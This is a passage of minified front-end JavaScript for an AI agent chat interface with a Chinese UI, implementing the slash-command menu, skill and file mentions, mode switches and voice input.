0:U.scrollTop)===0;return{top:`${k.value}px`,...j?{borderTopLeftRadius:"calc(var(--skill-slash-radius) - var(--skill-slash-gap))",borderTopRightRadius:"calc(var(--skill-slash-radius) - var(--skill-slash-gap))"}:{}}}),rt=(j,U)=>{const Y=V!==null;Y&&cancelAnimationFrame(V),N=!0,O=U;const Te=j.scrollTop,Me=k.value,Ve=U-Te,Ye=4+_.value*31-U-Me,qe=Y?60:180,Et=performance.now(),Lt=ys=>{const xr=Math.max(0,ys-Et),ti=Math.min(xr/qe,1),y_=1-Math.pow(1-ti,3);j.scrollTop=Te+Ve*y_,k.value=Me+Ye*y_,ti<1?V=requestAnimationFrame(Lt):(V=null,N=!1,H=performance.now())};V=requestAnimationFrame(Lt)},st=()=>{if(N||V!==null)return;const j=w.value;if(!j)return;const U=performance.now();O!==null&&U-H<150&&Math.abs(j.scrollTop-O)<1||(A.value=!0)};let et=null,De=!1;const xe=j=>{if(!j)return"";const U=j.split(/[/\\]/);return U[U.length-1]||j},se=j=>{const U=ce(j);U&&Vs().openImagePreview({url:U,name:xe(j)})},ce=j=>j?`/api/gui/files/download?path=${encodeURIComponent(j)}`:"",de=(j,U)=>{r.setInputLineCount(j),r.setInputMultiline(U)},we=ye(()=>(Array.isArray(i.runtimeQueuedMessages)?i.runtimeQueuedMessages:[]).filter(U=>U&&U.id&&U.text).map(U=>({...U,text:String(U.text||"").replace(/[\r\n\u2028\u2029]+/g," ")}))),Le=ye(()=>{var Me;if(((Me=o==null?void 0:o.form)==null?void 0:Me.show_git_status_bar)===!1)return null;const j=i.projectGitSummary;if(!(j!=null&&j.has_git))return null;const U=String(j.project_name||"").trim(),Y=String(j.branch||"").trim();return!U||!Y?null:{projectName:U,projectPath:String(j.project_path||"").trim(),branch:Y,additions:Math.max(0,Number(j.additions||0)),deletions:Math.max(0,Number(j.deletions||0))}}),He=ye(()=>ya.value||ee.value||i.quickMenuOpen||we.value.length>0||i.hasPendingRuntimeGuidance?!1:!!Le.value||!!i.goalRunning||!!i.goalModeArmed||Number(i.pendingUserQuestionCount||0)>0||Number(i.activeSubAgentCount||0)>0),yt=ye(()=>ya.value||ee.value||i.quickMenuOpen||we.value.length>0||i.hasPendingRuntimeGuidance?!1:!!i.avatarStatus),At=ye(()=>i.avatarStatus&&(i.avatarStatus.mode==="tool"||i.avatarStatus.mode==="think")&&i.avatarStatus.text||""),Nt=ye(()=>{var U;const j=i.avatarStatus;return j?j.mode==="tool"?`avatar-tool-${((U=j.toolKeys)==null?void 0:U[0])||""}`:`avatar-${j.mode}`:"avatar-none"}),It=pe(null),Jt=()=>{It.value=null},$t=j=>{It.value=It.value===j?null:j},As=async j=>{var Y;const U=String(j||"").trim();!U||typeof navigator>"u"||!((Y=navigator.clipboard)!=null&&Y.writeText)||(await navigator.clipboard.writeText(U),Jt())},ut=()=>{var j;As(((j=Le.value)==null?void 0:j.projectPath)||"")},Hs=()=>{var j;As(((j=Le.value)==null?void 0:j.branch)||"")},hl=async()=>{try{await fetch("/api/project/open-in-file-manager",{method:"POST"})}catch(j){console.warn("打开项目文件管理器失败:",j)}finally{Jt()}},In=()=>{const j=ts.value;if(!j)return null;const{state:U}=j,{$from:Y}=U.selection;Y.start();const Te=Y.parent.textBetween(0,Y.parentOffset,` +`,` +`),Me=/(^|[ \n])(\/{1,2})([^\s/]*)$/.exec(Te);if(!Me)return null;const Ve=Me[2]||"/",$e=Me[3]||"",Ye=Y.pos-$e.length-Ve.length,qe=Y.pos;return{start:Ye,end:qe,query:$e,doubleSlash:Ve.length===2}},Uo=()=>{const j=ts.value;if(!j)return null;const{state:U}=j,{$from:Y}=U.selection,Te=Y.parent.textBetween(0,Y.parentOffset,` +`,` +`),Me=/(^|[ \n])@([^\s@]*)$/.exec(Te);if(!Me)return null;const Ve=Me[2]||"",$e=Y.pos-Ve.length-1,Ye=Y.pos;return{start:$e,end:Ye,query:Ve,charStart:$e}},nr=()=>{V!==null&&(cancelAnimationFrame(V),V=null),N=!1,O=null,H=0,y.value=!1,b.value="",_.value=0,S.value="root",C.value=0,k.value=4,A.value=!1,M.value=null,R.value=!1},Qs=()=>{ee.value=!1,ie.value=null,ve.value=0,le.value=[],oe.value=!1,I.value={},X!==null&&(window.clearTimeout(X),X=null)},Yn=()=>{he!==null&&(window.clearTimeout(he),he=null),J.value=""},Rn=()=>{if(!i.avatarStatus||i.avatarStatus.mode!=="idle")return;const j=be;J.value=j[Math.floor(Math.random()*j.length)]||"不要!",he!==null&&window.clearTimeout(he),he=window.setTimeout(()=>{J.value="",he=null},1800)},ir=j=>{ft(()=>{const U=ts.value;if(U)try{const Y=U.view.coordsAtPos(j),Te=window.innerWidth,Me=window.innerHeight,Ve=280,$e=250,Ye=4;let qe=Y.right,Et=Y.top-$e;qe+Ve>Te-Ye&&(qe=Math.max(Ye,Te-Ve-Ye)),EtMe-Ye&&(Et=Math.max(Ye,Me-$e-Ye)),I.value={left:`${qe}px`,top:`${Et}px`,width:`${Ve}px`,maxHeight:`${$e}px`}}catch{I.value={}}})},Wo=j=>{var Y;if(!j)return!1;const U=((Y=j.split(".").pop())==null?void 0:Y.toLowerCase())||"";return["jpg","jpeg","png","gif","webp","bmp","ico"].includes(U)},Ln=async j=>{var U;oe.value=!0;try{const Y=`/api/project/files/search?q=${encodeURIComponent(j)}&limit=50`,Te=await fetch(Y),Me=await Te.json().catch(()=>({}));if(!Te.ok||!(Me!=null&&Me.success)){le.value=[];return}le.value=Array.isArray((U=Me==null?void 0:Me.data)==null?void 0:U.items)?Me.data.items:[]}catch(Y){console.warn("[FileAt] 搜索文件失败:",Y),le.value=[]}finally{oe.value=!1}},ma=j=>{X!==null&&window.clearTimeout(X),X=window.setTimeout(()=>{Ln(j)},120)},zo=()=>{const j=Uo();if(!j||!i.isConnected||i.inputLocked){Qs();return}Jt();const U=ie.value!==j.query;ee.value=!0,(U||le.value.length===0)&&(ve.value=0,ie.value=j.query,ma(j.query)),ir(j.end)},io=j=>{const U=Uo(),Y=ts.value;if(!U||!Y)return;const{state:Te,view:Me,schema:Ve}=Y,$e=Ve.nodes.mention;if(!$e)return;const Ye=$e.create({id:`file://${j.path}`,label:j.name});let qe=Te.tr.delete(U.start,U.end);qe=qe.insert(U.start,Ye);const Et=U.start+Ye.nodeSize;qe=qe.insertText(" ",Et),qe=qe.setSelection(_t.near(qe.doc.resolve(Et+1))),Me.dispatch(qe),Me.focus(),Qs(),ft(()=>{Ar()})},dl=()=>{var j;Qs(),i.hostMode&&(K.value=!0,(j=h.value)==null||j.click())},Jn=j=>{const U=!!i.hostMode;if(U&&j===0){dl();return}const Y=U?j-1:j,Te=le.value[Y];if(Te){if(Te.type==="file"&&Wo(Te.path)){Qs(),n("pick-images");return}io(Te)}},jo=j=>{var Te,Me,Ve,$e;if(!ee.value)return!1;const Y=(!!i.hostMode?1:0)+le.value.length;return Y<=0?!1:j.key==="ArrowDown"?(j.preventDefault(),(Te=G.value)==null||Te.setManualScroll(!1),ve.value=(ve.value+1)%Y,(Me=G.value)==null||Me.focusActive(),!0):j.key==="ArrowUp"?(j.preventDefault(),(Ve=G.value)==null||Ve.setManualScroll(!1),ve.value=(ve.value-1+Y)%Y,($e=G.value)==null||$e.focusActive(),!0):j.key==="Enter"?(j.preventDefault(),Jn(ve.value),!0):j.key==="Escape"?(j.preventDefault(),Qs(),!0):!1},va=()=>{const j=In(),U=ts.value;if(!j||!U)return;const{state:Y,view:Te}=U;let Me=Y.tr.delete(j.start,j.end);Me=Me.setSelection(_t.near(Me.doc.resolve(Math.max(0,j.start)))),Te.dispatch(Me),Te.focus(),ft(()=>{Ar()})},fe=()=>{ft(()=>{const j=w.value;if(!j)return;const U=getComputedStyle(j),Y=parseFloat(U.getPropertyValue("--skill-slash-row-height")),Te=parseFloat(U.getPropertyValue("--skill-slash-gap")),Me=(Number.isFinite(Y)?Y:38)+(Number.isFinite(Te)?Te:5),Ve=Math.max(1,Math.floor(j.clientHeight/Me)||5),$e=Math.floor(Ve/2),Ye=Math.max(0,j.scrollHeight-j.clientHeight),qe=Math.max(0,Math.min(Ye,(_.value-$e)*Me));rt(j,qe)})},me=ye(()=>{const j=b.value.trim().toLowerCase(),U=Array.isArray(p.value)?p.value:[];return(j?U.filter(Te=>String(Te.name||"").toLowerCase().includes(j)):U).slice(0,100)}),Ce=ye(()=>{var U;const j=(U=i.modelOptions)==null?void 0:U.find(Y=>Y.key===i.currentModelKey);return!!(j!=null&&j.supportsImage)}),dt=ye(()=>{var U;const j=(U=i.modelOptions)==null?void 0:U.find(Y=>Y.key===i.currentModelKey);return!!(j!=null&&j.supportsVideo)}),qt=async j=>{o.applyTheme(j),o.updateField({key:"theme",value:j});try{const U=await fetch("/api/personalization",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({theme:j})}),Y=await U.json().catch(()=>({}));(!U.ok||!Y.success)&&console.warn("保存主题到后端失败:",Y==null?void 0:Y.error)}catch(U){console.warn("保存主题到后端失败:",U)}},Ss=j=>{va(),nr(),j()},Kt=ye(()=>{var Y;const j=[{id:"new",label:"新建对话",description:"开始一个新的对话(new / clear)",disabled:!i.isConnected,action:()=>n("new-conversation")},{id:"upload",label:"上传文件",description:i.uploading?"上传中...":"选择本地文件上传",disabled:!i.isConnected||i.uploading||i.blockUpload,action:()=>n("quick-upload")},{id:"image",label:"发送图片",description:Ce.value?"选择图片并附加到消息":"当前模型不支持图片",disabled:!i.isConnected||i.streamingMessage||!Ce.value,action:()=>n("pick-images")},{id:"video",label:"发送视频",description:dt.value?"选择视频并附加到消息":"当前模型不支持视频",disabled:!i.isConnected||i.streamingMessage||!dt.value,action:()=>n("pick-video")},{id:"compress",label:"压缩对话",description:i.compressing?"压缩中...":"手动压缩当前对话上下文",disabled:!i.isConnected||i.compressing||i.streamingMessage||i.blockCompressConversation,action:()=>n("compress-conversation")},{id:"skills",label:"选择 AgentSkill",description:"插入一个 AgentSkill 引用(// 快捷直达)",mode:"skills"},{id:"workflows",label:"工作流",description:P.isActive?`进行中:${P.snapshot.name} · 查看或退出`:"激活一个工作流,让智能体按流程推进",disabled:!i.isConnected,mode:"workflows"},{id:"conversation-type",label:"对话类型",description:"agent / multi-agent · 智能体 / 多智能体(仅新对话可切换)",disabled:!i.isConnected,mode:"conversation-type"},{id:"work-mode",label:"切换工作模式",description:"plan / ask / execute · 计划 / 询问 / 执行",disabled:!i.isConnected||i.streamingMessage,mode:"work-mode"},{id:"theme",label:"切换主题",description:"经典 / 明亮 / 夜间",mode:"theme"},{id:"review",label:"对话回顾",description:"打开当前对话回顾",disabled:!i.isConnected||i.streamingMessage||i.blockConversationReview,action:()=>n("open-review")},{id:"tokens",label:"用量统计",description:"打开上下文与 token 用量面板",disabled:!i.currentConversationId||i.blockTokenPanel,action:()=>n("toggle-token-panel",!0)},{id:"goal",label:"目标模式",description:i.goalRunning?"目标模式运行中":i.goalModeArmed?"目标模式已就绪":"切换目标模式",disabled:!i.isConnected,action:()=>n("toggle-goal-mode")},{id:"personalization",label:"个人设置",description:"打开个人空间设置",action:()=>{o.openDrawer()}},{id:"terminal",label:"实时终端",description:"打开实时终端面板",disabled:!i.isConnected||i.blockRealtimeTerminal,action:()=>n("realtime-terminal")},{id:"model",label:"切换模型",description:"选择对话使用的模型",disabled:!i.isConnected||i.streamingMessage,mode:"model"},{id:"run-mode",label:"思考模式",description:"切换 fast / thinking",disabled:!i.isConnected||i.streamingMessage,mode:"run-mode"},{id:"permission",label:"权限模式",description:"切换 readonly / approval / auto / unrestricted",disabled:!i.isConnected||i.streamingMessage,mode:"permission"},{id:"network",label:"网络权限",description:i.networkPermissionEnabled?"restricted / full · 受限 / 完整":"当前环境不支持网络权限切换",disabled:!i.isConnected||i.streamingMessage||!i.networkPermissionEnabled,mode:"network"},...i.executionModeEnabled?[{id:"execution",label:"执行环境",description:"切换 sandbox / direct",disabled:!i.isConnected||i.streamingMessage,mode:"execution"}]:[],...i.workspaceKind?[{id:"workspace",label:i.workspaceKind==="project"?"切换项目":"切换工作区",description:"workspace / project · 工作区 / 项目",disabled:!i.isConnected||i.streamingMessage,mode:"workspace"}]:[],{id:"versioning",label:"版本控制",description:i.versioningEnabled?"当前:开启":"当前:关闭",disabled:!i.isConnected||i.streamingMessage,action:()=>n("open-versioning-dialog")},{id:"git-bar",label:"Git 状态栏",description:((Y=o==null?void 0:o.form)==null?void 0:Y.show_git_status_bar)!==!1?"当前:显示":"当前:隐藏",action:()=>{var Ve;const Me=!(((Ve=o==null?void 0:o.form)==null?void 0:Ve.show_git_status_bar)!==!1);o!=null&&o.form&&(o.form.show_git_status_bar=Me),fetch("/api/personalization",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({show_git_status_bar:Me})}).catch(()=>{})}},{id:"path-auth",label:"路径授权",description:"查看和管理路径授权",disabled:!i.isConnected,action:()=>n("open-path-authorization")},{id:"approval",label:"审批面板",description:"查看审批记录",disabled:!i.isConnected,action:()=>n("toggle-approval-panel")}],U=b.value.trim().toLowerCase();return U?j.filter(Te=>`${Te.label} ${Te.description} ${Te.id}`.toLowerCase().includes(U)):j}),Es=ye(()=>[{id:"theme-classic",label:"经典",description:"米色质感,柔和高对比",theme:"classic"},{id:"theme-light",label:"明亮",description:"纯白底色 + 优雅灰,简洁清爽",theme:"light"},{id:"theme-dark",label:"夜间",description:"深灰 + 黑,低亮度显示",theme:"dark"}].map(U=>({...U,action:()=>{qt(U.theme)}}))),ht=ye(()=>{const j=i.permissionOptions||[],U=String(i.currentPermissionMode||""),Y=i.currentWorkMode==="plan";return j.map(Te=>({id:`perm:${Te.value}`,label:Te.label,description:Y?"计划模式下权限锁定为只读":`${Te.value===U?"当前 · ":""}${Te.description||""}`,disabled:Y,action:()=>n("change-permission-mode",Te.value)}))}),pn=ye(()=>{const j=i.executionModeOptions||[],U=String(i.currentExecutionMode||""),Y=i.currentWorkMode==="plan";return j.map(Te=>({id:`exec:${Te.value}`,label:Te.label,description:Y?"计划模式下执行环境锁定为沙箱":`${Te.value===U?"当前 · ":""}${Te.description||""}`,disabled:Y,action:()=>n("change-execution-mode",Te.value)}))}),Vo=ye(()=>{const j=Array.isArray(i.modelOptions)?i.modelOptions:[],U=String(i.currentModelKey||"");return j.map(Y=>({id:`model:${Y.key}`,label:Y.label,description:`${Y.key===U?"当前 · ":""}${Y.description||""}`,disabled:!!Y.disabled,action:()=>n("select-model",Y.key)}))}),Ff=ye(()=>{const j=[{value:"fast",label:"快速"},{value:"thinking",label:"思考"}],U=String(i.runMode||"");return j.map(Y=>({id:`runmode:${Y.value}`,label:Y.label,description:Y.value===U?"当前":"",action:()=>n("select-run-mode",Y.value)}))}),fl=ye(()=>{const j=i.networkPermissionOptions||[],U=String(i.currentNetworkPermission||"");return j.map(Y=>({id:`network:${Y.value}`,label:Y.label,description:`${Y.value===U?"当前 · ":""}${Y.description||""}`,action:()=>n("change-network-permission",Y.value)}))}),Di=ye(()=>{const j=i.workModeOptions||[],U=String(i.currentWorkMode||"");return j.map(Y=>({id:`workmode:${Y.value}`,label:Y.label,description:`${Y.value===U?"当前 · ":""}${Y.description||""}`,action:()=>n("change-work-mode",Y.value)}))}),Tn=ye(()=>{const j=Array.isArray(i.hostWorkspaces)?i.hostWorkspaces:[],U=String(i.currentHostWorkspaceId||""),Y=!!i.hostWorkspaceSwitching;return j.map(Te=>({id:`workspace:${Te.workspace_id}`,label:Te.label,description:`${Te.workspace_id===U?"当前 · ":""}${Te.path||""}`,disabled:Y||Te.workspace_id===U,action:()=>n("switch-host-workspace",Te.workspace_id)}))}),wr=ye(()=>{const j=te.value,U=String(i.newConversationType||"agent");return q.map(Y=>({id:`convtype:${Y.value}`,label:Y.label,description:j?"对话类型创建后不可变,仅新对话可切换":`${Y.value===U?"当前 · ":""}${Y.description||""}`,disabled:j,action:()=>n("select-new-conversation-type",Y.value)}))}),kr=ye(()=>me.value.map(j=>({id:`skill:${j.path}`,label:j.name,description:j.description,skill:j}))),Ni=ye(()=>S.value==="skills"?kr.value:S.value==="workflows"?ne.value:S.value==="theme"?Es.value:S.value==="permission"?ht.value:S.value==="execution"?pn.value:S.value==="model"?Vo.value:S.value==="run-mode"?Ff.value:S.value==="network"?fl.value:S.value==="work-mode"?Di.value:S.value==="workspace"?Tn.value:S.value==="conversation-type"?wr.value:Kt.value),pl=ye(()=>S.value==="skills"?"可用 AgentSkills":S.value==="workflows"?"工作流选项":S.value==="theme"?"主题选项":S.value==="permission"?"权限模式选项":S.value==="execution"?"执行环境选项":S.value==="model"?"模型选项":S.value==="run-mode"?"思考模式选项":S.value==="network"?"网络权限选项":S.value==="work-mode"?"工作模式选项":S.value==="workspace"?i.workspaceKind==="project"?"项目选项":"工作区选项":S.value==="conversation-type"?"对话类型选项":"快捷指令"),$f=ye(()=>S.value==="skills"?g.value?"正在加载 skills...":"没有匹配的 skill":S.value==="workflows"?Q.value?"正在加载工作流...":"暂无可用工作流(可去 /workflows 创建)":S.value==="permission"?"无可用权限模式":S.value==="execution"?"无可用执行环境":S.value==="model"?"无可用模型":S.value==="network"?"无可用网络权限选项":S.value==="work-mode"?"无可用工作模式":S.value==="workspace"?i.workspaceKind==="project"?"暂无其他项目":"暂无其他工作区":S.value==="conversation-type"?"无可用对话类型":"没有匹配的指令"),ya=ye(()=>y.value&&(g.value||Ni.value.length>=0)),gl=async()=>{if(!(v.value||g.value)){g.value=!0;try{const j=await fetch("/api/skills"),U=await j.json().catch(()=>({}));if(!j.ok||!(U!=null&&U.success))throw new Error((U==null?void 0:U.error)||"加载 skills 失败");p.value=Array.isArray(U.skills)?U.skills.filter(Y=>Y&&Y.name&&Y.path).map(Y=>({name:String(Y.name||""),description:String(Y.description||""),path:String(Y.path||"")})):[],v.value=!0}catch(j){p.value=[],v.value=!1,console.warn("[SkillSlash] 加载 skills 失败:",j)}finally{g.value=!1}}},Rc=async(j=!1)=>{if(!(z.value&&!j||Q.value)){Q.value=!0;try{const U=await fetch("/api/workflows"),Y=await U.json().catch(()=>({}));if(!U.ok)throw new Error((Y==null?void 0:Y.error)||"加载工作流列表失败");L.value=Array.isArray(Y.workflows)?Y.workflows.filter(Te=>Te&&Te.name).map(Te=>({name:String(Te.name||""),description:String(Te.description||""),source:String(Te.source||""),updatedAt:String(Te.updatedAt||""),nodeCount:Number(Te.nodeCount??0)})):[],z.value=!0}catch(U){L.value=[],z.value=!1,console.warn("[WorkflowSlash] 加载工作流列表失败:",U)}finally{Q.value=!1}}},ba=async j=>{if(W.value)return;const U=String(i.currentConversationId||"").trim();W.value=!0;try{const Y={name:j};U&&(Y.conversation_id=U);const Te=await fetch("/api/workflow/activate",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(Y)}),Me=await Te.json().catch(()=>({}));if(!Te.ok||!(Me!=null&&Me.success))throw new Error((Me==null?void 0:Me.error)||"激活工作流失败");Me!=null&&Me.snapshot&&P.setWorkflow(Me.snapshot,!0),Vs().pushToast({title:`工作流「${j}」已激活`,type:"success"});const Ve=String((Me==null?void 0:Me.conversation_id)||"").trim();Ve&&Ve!==U&&n("workflow-activated",Ve)}catch(Y){Vs().pushToast({title:"激活工作流失败",message:String((Y==null?void 0:Y.message)||Y||""),type:"error"})}finally{W.value=!1}},Je=async()=>{if(W.value)return;const j=String(i.currentConversationId||"").trim();if(j){W.value=!0;try{const U=await fetch("/api/workflow/deactivate",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({conversation_id:j})}),Y=await U.json().catch(()=>({}));if(!U.ok||!(Y!=null&&Y.success))throw new Error((Y==null?void 0:Y.error)||"退出工作流失败");P.setWorkflow(null,!0),Vs().pushToast({title:`已退出工作流「${(Y==null?void 0:Y.workflow_name)||""}」`,type:"success"})}catch(U){Vs().pushToast({title:"退出工作流失败",message:String((U==null?void 0:U.message)||U||""),type:"error"})}finally{W.value=!1}}},ne=ye(()=>{const j=[],U=P.isActive?String(P.snapshot.name||""):"";U&&j.push({id:"workflow-deactivate",label:"退出当前工作流",description:`进行中:${U} · 摘牌退出(不打断当前工作)`,disabled:W.value,action:()=>{Je()}});const Y=!i.isConnected||i.streamingMessage||W.value||!!U;for(const Te of L.value){const Me=U&&Te.name===U;j.push({id:`workflow-activate-${Te.name}`,label:Te.name,description:Me?"当前激活中":`${Te.description||"(无描述)"}${Te.source==="builtin"?" · 内置":""}`,disabled:Y||!!Me,action:()=>{ba(Te.name)}})}return j}),Ee=()=>{const j=In();if(!j||!i.isConnected||i.inputLocked){nr();return}Jt(),y.value=!0,b.value!==j.query&&(_.value=0),b.value=j.query,j.doubleSlash&&S.value==="root"&&!R.value?(S.value="skills",M.value="typed",_.value=0):!j.doubleSlash&&S.value==="skills"&&M.value==="typed"&&(S.value="root",M.value=null,_.value=0),S.value==="skills"&&gl(),_.value=Math.min(_.value,Math.max(0,Ni.value.length-1)),fe()},Ue=(j=_.value)=>{const U=In(),Y=me.value[j],Te=ts.value;if(!U||!Y||!Te)return;m.value=[...m.value.filter(ys=>ys.path!==Y.path),Y];const{state:Me,view:Ve,schema:$e}=Te,Ye=$e.nodes.mention;if(!Ye)return;const qe=Ye.create({id:Y.path,label:Y.name,path:Y.path,description:Y.description||"",mentionSuggestionChar:""});let Et=Me.tr.delete(U.start,U.end);Et=Et.insert(U.start,qe);const Lt=U.start+qe.nodeSize;Et=Et.insertText(" ",Lt),Et=Et.setSelection(_t.near(Et.doc.resolve(Lt+1))),Ve.dispatch(Et),Ve.focus(),nr(),ft(()=>{Ar()})},zt=(j=_.value)=>{const U=Ni.value[j];if(!(!U||U.disabled)){if(U.mode){C.value=j,S.value=U.mode,_.value=0,M.value=U.mode==="skills"?"menu":null,U.mode==="skills"&&gl(),U.mode==="workflows"&&Rc(),U.mode==="workspace"&&n("fetch-host-workspaces"),fe();return}if(U.skill){const Y=me.value.findIndex(Te=>{var Me;return Te.path===((Me=U.skill)==null?void 0:Me.path)});Ue(Y>=0?Y:j);return}U.action&&Ss(U.action)}},Mt=j=>{if(j.ctrlKey&&j.key==="Enter")return!1;if(y.value){if(j.key==="ArrowDown"){j.preventDefault(),A.value=!1;const U=Ni.value.length;return U>0&&(_.value=(_.value+1)%U,fe()),!0}if(j.key==="ArrowUp"){j.preventDefault(),A.value=!1;const U=Ni.value.length;return U>0&&(_.value=(_.value-1+U)%U,fe()),!0}if(j.key==="Enter")return Ni.value.length>0&&(j.preventDefault(),zt(_.value)),!0;if(j.key==="Escape")return j.preventDefault(),S.value!=="root"?(S.value==="skills"&&M.value==="typed"&&(R.value=!0),M.value=null,S.value="root",_.value=Math.min(C.value,Math.max(0,Ni.value.length-1)),fe()):nr(),!0}return!1},mt=j=>jo(j)||Mt(j)?!0:(requestAnimationFrame(()=>{Ee(),zo()}),!1),ws=()=>{n("input-blur"),window.setTimeout(()=>{nr(),Qs()},120)},Pn=j=>{const U=j.clipboardData;if(!U)return[];const Y=[];if(U.items&&U.items.length)for(const Te of Array.from(U.items)){if(Te.kind!=="file")continue;const Me=Te.getAsFile();Me&&Y.push(Me)}return!Y.length&&U.files&&U.files.length&&Y.push(...Array.from(U.files)),Y},On=(j="")=>{const U=String(j||"").split(` +`);return{type:"doc",content:(U.length?U:[""]).map(Y=>({type:"paragraph",content:Y?[{type:"text",text:Y}]:void 0}))}},Go=()=>{const j=ts.value;return j?j.getText({blockSeparator:` +`}):i.inputMessage||""},Ms=j=>{const U=[],Y=Ve=>{if(!Ve)return"";if(Ve.type==="text")return Ve.text||"";if(Ve.type==="mention"){const $e=Ve.attrs||{},Ye=String($e.id||""),qe=String($e.label||Ye).trim();if(Ye.startsWith("file://")){const xr=Ye.slice(7);return qe&&xr?`[${qe}](file://${xr})`:qe}const Lt=qe,ys=String($e.path||Ye).trim();return Lt&&ys&&!U.some(xr=>xr.path===ys)&&U.push({name:Lt,path:ys}),Lt&&ys?`[$${Lt}](${ys})`:Lt}return Ve.type==="hardBreak"?` +`:Array.isArray(Ve.content)?Ve.content.map(Y).join(""):""};return{message:(Array.isArray(j==null?void 0:j.content)?j.content:[]).map(Ve=>Y(Ve)).join(` +`).trim(),skillRefs:U}},ts=TK({content:On(i.inputMessage||""),editable:i.isConnected&&!i.inputLocked,extensions:[BX.configure({codeBlock:!1,heading:!1,blockquote:!1,bulletList:!1,orderedList:!1,listItem:!1,horizontalRule:!1}),VX.configure({placeholder:"输入消息... (Ctrl+Enter 发送)"}),jX.configure({HTMLAttributes:{class:"skill-md-link"},deleteTriggerWithBackspace:!0,renderText({node:j}){return String(j.attrs.label||j.attrs.id||"")},renderHTML({node:j,HTMLAttributes:U}){const Y=U||{},Te=String(j.attrs.id||""),Me=Te.startsWith("file://"),Ve=Me?`${Y.class||""} file-md-link`.trim():`${Y.class||""} skill-md-link`.trim(),$e=Me?"data-file-path":"data-skill-path",Ye=Me?Te.slice(7):j.attrs.path||j.attrs.id||"";return["span",{...Y,class:Ve,[$e]:Ye},String(j.attrs.label||j.attrs.id||"")]},suggestion:{char:"\0"}})],editorProps:{attributes:{class:"stadium-input-editor","data-placeholder":"输入消息... (Ctrl+Enter 发送)"},handleKeyDown(j,U){return U.ctrlKey&&U.key==="Enter"?(U.preventDefault(),n("send-or-stop"),!0):mt(U)},handlePaste(j,U){const Y=Pn(U);return Y.length?(U.preventDefault(),n("paste-files",Y),!0):!1}},onUpdate(){De||(n("update:input-message",Go()),n("input-change"),ft(()=>{Ar(),Ee(),zo()}))},onFocus(){n("input-focus")}}),Dn=pe(!1),Lc=pe(null);let Zn=0,ei=0;const Cr=pe("idle"),pm=pe(0),Ck=pe(""),a_=ye(()=>typeof window>"u"?!1:!!window.AndroidVoiceBridge),Tk=ye(()=>Cr.value==="downloading"?`模型下载中 ${pm.value}%`:Cr.value==="model_not_ready"?"模型未下载,请在个人空间下载":Dn.value?"停止录音":"语音输入"),l_=()=>{typeof window>"u"||(window.__onVoiceResult=j=>{const U=window.AndroidVoiceBridge;if(U==null||U.debugLog("__onVoiceResult 被调用, text="+JSON.stringify(j)),!j){U==null||U.debugLog("__onVoiceResult: text 为空,跳过");return}const Y=ts.value;if(!Y){U==null||U.debugLog("__onVoiceResult: editor.value 为 null"),console.warn("[VoiceInput] editor is null");return}U==null||U.debugLog("__onVoiceResult: editor.value 存在,准备插入文字"),U==null||U.debugLog("__onVoiceResult: voiceAnchorPos="+Zn+" lastVoiceTextLength="+ei);const{state:Te,view:Me}=Y,Ve=Te.doc.content.size,$e=Math.max(0,Math.min(Zn,Ve)),Ye=Math.min($e+ei,Ve);U==null||U.debugLog("__onVoiceResult: docSize="+Ve+" safeAnchor="+$e+" oldEnd="+Ye);try{let qe=Te.tr;Ye>$e&&(qe=qe.delete($e,Ye)),qe=qe.insertText(j,$e);const Et=Math.min($e+j.length,qe.doc.content.size),Lt=window.TextSelection;Lt&&(qe=qe.setSelection(Lt.create(qe.doc,Et))),Me.dispatch(qe),Me.focus(),ei=j.length,n("update:input-message",Go()),n("input-change"),ft(()=>Ar()),U==null||U.debugLog("__onVoiceResult: 文字插入成功")}catch(qe){U==null||U.debugLog("__onVoiceResult: 插入异常 "+(qe.message||String(qe)))}},window.__onVoiceStatus=j=>{j==="listening"||j==="processing"||j==="initializing"?Dn.value=!0:j==="idle"?(Dn.value=!1,Zn=0,ei=0):j==="model_not_ready"&&(Cr.value="model_not_ready")},window.__onVoiceError=j=>{console.warn("[VoiceInput] 错误:",j),Dn.value=!1,Zn=0,ei=0},window.__onVoiceDownloadProgress=(j,U)=>{Cr.value="downloading",pm.value=j,Ck.value=U,j>=100&&(Cr.value="ready")},window.__onVoiceModelReady=()=>{Cr.value="ready"})};if(typeof window<"u"){l_();const j=window.AndroidVoiceBridge;if(j&&typeof j.isModelReady=="function")try{Cr.value=j.isModelReady()?"ready":"model_not_ready"}catch{Cr.value="idle"}}const gm=()=>typeof window>"u"?null:window.SpeechRecognition||window.webkitSpeechRecognition||null,ph=()=>{if(Lc.value){try{Lc.value.stop()}catch(j){console.warn("[VoiceInput] recognition.stop() error:",j)}Lc.value=null}Dn.value=!1,Zn=0,ei=0},Ak=()=>{const j=gm();if(!j)return null;const U=new j;U.lang="zh-CN",U.continuous=!0,U.interimResults=!0,U.maxAlternatives=1;const Y=ts.value;return Y?Zn=Y.state.selection.from:Zn=0,ei=0,U.onresult=Te=>{let Me="";for(let ti=0;tiEt&&(ys=ys.delete(Et,Lt)),ys=ys.insertText(Me,Et);const xr=Math.min(Et+Me.length,ys.doc.content.size);ys=ys.setSelection(_t.create(ys.doc,xr)),Ye.dispatch(ys),Ye.focus(),ei=Me.length,n("update:input-message",Go()),n("input-change"),ft(()=>{Ar()})},U.onerror=Te=>{console.warn("[VoiceInput] onerror:",{error:Te.error,message:Te.message}),Te.error!=="aborted"&&(console.warn("[VoiceInput] stopping due to error:",Te.error),ph())},U.onstart=()=>{},U.onaudiostart=()=>{},U.onsoundstart=()=>{},U.onspeechstart=()=>{},U.onspeechend=()=>{},U.onsoundend=()=>{},U.onaudioend=()=>{},U.onend=()=>{Dn.value=!1,Lc.value=null,Zn=0,ei=0},U},c_=()=>{const j=window.AndroidVoiceBridge;if(j){if(Dn.value){j.stopListening();return}const Y=ts.value;Zn=Y?Y.state.selection.from:0,ei=0,j.startListening();return}if(Dn.value){ph();return}const U=Ak();if(!U){console.warn("[VoiceInput] 浏览器不支持语音识别");return}try{U.start(),Lc.value=U,Dn.value=!0}catch(Y){console.warn("[VoiceInput] 启动语音识别失败:",Y),ph()}},u_=pe(null),ml=new Map,ro=[],vl=new Map,Pc=new Map,Tr=new Map,gh=new WeakMap,qo=pe(!1);let Oc=!1,yl=null;const Ek=j=>U=>{j&&(U instanceof HTMLElement?ml.set(j,U):ml.delete(j))},h_=j=>{const 